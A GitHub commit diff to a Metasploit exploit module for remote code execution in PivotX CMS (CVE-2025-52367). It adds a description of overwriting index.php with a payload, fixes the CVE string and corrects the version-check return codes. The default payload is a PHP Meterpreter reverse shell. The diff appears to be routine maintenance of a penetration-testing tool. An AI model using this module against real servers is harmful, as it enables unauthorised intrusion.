Skip to content

Commit 75f6e6a

Browse files
committed
Refactors code, adds description, fixes CVE
1 parent ed5c133 commit 75f6e6a

File tree

1 file changed

+5
-5
lines changed

1 file changed

+5
-5
lines changed

modules/exploits/linux/http/pivotx_rce.rb

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -15,6 +15,7 @@ def initialize(info = {})
1515
info,
1616
'Name' => 'PivotX Remote Code Execution',
1717
'Description' => %q{
18+
This module gains remote code execution in PivotX management system. The PivotX allows admin user to directly edit files on the webserver, including PHP files. The module exploits this by writing a malicious payload into `index.php` file, gaining remote code execution.
1819
},
1920
'License' => MSF_LICENSE,
2021
'Author' => [
@@ -24,7 +25,7 @@ def initialize(info = {})
2425
'References' => [
2526
[ 'EDB', '52361' ],
2627
[ 'URL', 'https://medium.com/@hayton1088/cve-2025-52367-stored-xss-to-rce-via-privilege-escalation-in-pivotx-cms-v3-0-0-rc-3-a1b870bcb7b3'],
27-
[ 'CVE', '202552367']
28+
[ 'CVE', '2025-52367']
2829
],
2930
'Targets' => [
3031
[
@@ -38,7 +39,6 @@ def initialize(info = {})
3839
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' },
3940
'DisclosureDate' => '2025-07-10',
4041
'DefaultTarget' => 0,
41-
4242
'Notes' => {
4343
'Stability' => [CRASH_SAFE],
4444
'Reliability' => [REPEATABLE_SESSION],
@@ -65,13 +65,13 @@ def check
6565

6666
html_body = res.get_html_document
6767

68-
return Exploit::CheckCode::Unknow, 'Could not find version element' unless html_body.search('em').find { |i| i.text =~ /PivotX - (\d.\d\d?.\d\d?-[a-z0-9]+)/ }
68+
return Exploit::CheckCode::Unknown, 'Could not find version element' unless html_body.search('em').find { |i| i.text =~ /PivotX - (\d.\d\d?.\d\d?-[a-z0-9]+)/ }
6969

7070
version = Rex::Version.new(Regexp.last_match(1))
7171

72-
return Exploit::CheckCode::Appears("Detected PivotX #{version}") if version <= Rex::Version.new('3.0.0-rc3')
72+
return Exploit::CheckCode::Appears, "Detected PivotX #{version}" if version <= Rex::Version.new('3.0.0-rc3')
7373

74-
return Exploit::CheckCode::Safe("PivotX #{version} is not vulnerable.")
74+
return Exploit::CheckCode::Safe, "PivotX #{version} is not vulnerable"
7575
end
7676

7777
def login

0 commit comments

Comments
 (0)